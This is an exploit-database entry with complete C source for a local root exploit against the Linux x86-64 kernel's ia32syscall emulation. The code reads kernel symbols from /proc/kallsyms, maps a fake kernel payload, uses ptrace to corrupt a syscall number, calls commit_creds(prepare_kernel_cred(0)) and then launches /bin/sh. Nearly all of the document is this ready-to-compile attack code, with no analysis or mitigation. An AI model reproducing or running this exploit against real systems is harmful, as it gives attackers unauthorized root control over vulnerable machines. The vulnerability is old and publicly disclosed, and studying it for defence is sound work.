Linux/x86-64 Kernel ia32syscall Emulation Privilege Escalation

2010-09-17T00:00:00
ID 1337DAY-ID-14095
Type zdt
Reporter ben hawkes
Modified 2010-09-17T00:00:00

Description

Exploit for linux platform in category local exploits

                                        
                                            ==============================================================
Linux/x86-64 Kernel ia32syscall Emulation Privilege Escalation
==============================================================

/*
 * exploit for x86_64 linux kernel ia32syscall emulation (again)
 *  rediscovered by ben hawkes
 *  with help from robert swiecki and tavis ormandy
 *
 * original vulnerability discovered by Wojciech Purczynski
 *
 * original exploit by
 *  Robert Swiecki <robert_at_swiecki.net>
 *  Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
 *  Pawel Pisarczyk <pawel_at_immos.com.pl>
 *
 * kernel priv escalation code borrowed from spender
 *
 */
  
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
 
int kernelmodecode(void *file, void *vma)
{
    commit_creds(prepare_kernel_cred(0));
    return -1;
}
 
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[512];
    int ret = 0, oldstyle = 0;
 
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        f = fopen("/proc/ksyms", "r");
        if (f == NULL)
            return 0;
        oldstyle = 1;
    }
 
    while (ret != EOF) {
        if (!oldstyle) {
            ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
        } else {
            ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
            if (ret == 2) {
                char *p;
                if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
                    continue;
                }
                p = strrchr(sname, '_');
                if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
                    p = p - 4;
                    while (p > (char *)sname && *(p - 1) == '_') {
                        p--;
                    }
                    *p = '\0';
                }
            }
        }
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            printf("resolved symbol %s to %p\n", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
 
    return 0;
}
 
  
static void docall(uint64_t *ptr, uint64_t size)
{
    commit_creds = (_commit_creds) get_symbol("commit_creds");
    if (!commit_creds) {
        printf("symbol table not available, aborting!\n");
        exit(1);
    }
 
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("symbol table not available, aborting!\n");
        exit(1);
    }
 
        uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
 
    printf("mapping at %lx\n", tmp);
 
        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
                printf("mmap fault\n");
                exit(1);
        }
  
        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;
  
        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");
  
        printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
        execl("/bin/sh", "bin/sh", NULL);
        printf("no /bin/sh ??\n");
        exit(0);
}
  
int main(int argc, char **argv)
{
        int pid, status, set = 0;
        uint64_t rax;
        uint64_t kern_s = 0xffffffff80000000;
        uint64_t kern_e = 0xffffffff84000000;
        uint64_t off = 0x0000000800000101 * 8;
  
        if (argc == 4) {
                docall((uint64_t*)(kern_s + off), kern_e - kern_s);
                exit(0);
        }
  
        if ((pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }
  
        if (pid == -1) {
                printf("fork fault\n");
                exit(1);
        }
  
        for (;;) {
                if (wait(&status) != pid)
                        continue;
  
                if (WIFEXITED(status)) {
                        printf("Process finished\n");
                        break;
                }
  
                if (!WIFSTOPPED(status))
                        continue;
  
                if (WSTOPSIG(status) != SIGTRAP) {
                        printf("Process received signal: %d\n", WSTOPSIG(status));
                        break;
                }
  
                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                    //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                }
  
                if ((rax == 11) && set) {
                        ptrace(PTRACE_DETACH, pid, 0, 0);
                        for(;;)
                                sleep(10000);
                }
  
                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
        }
  
        return 0;
}



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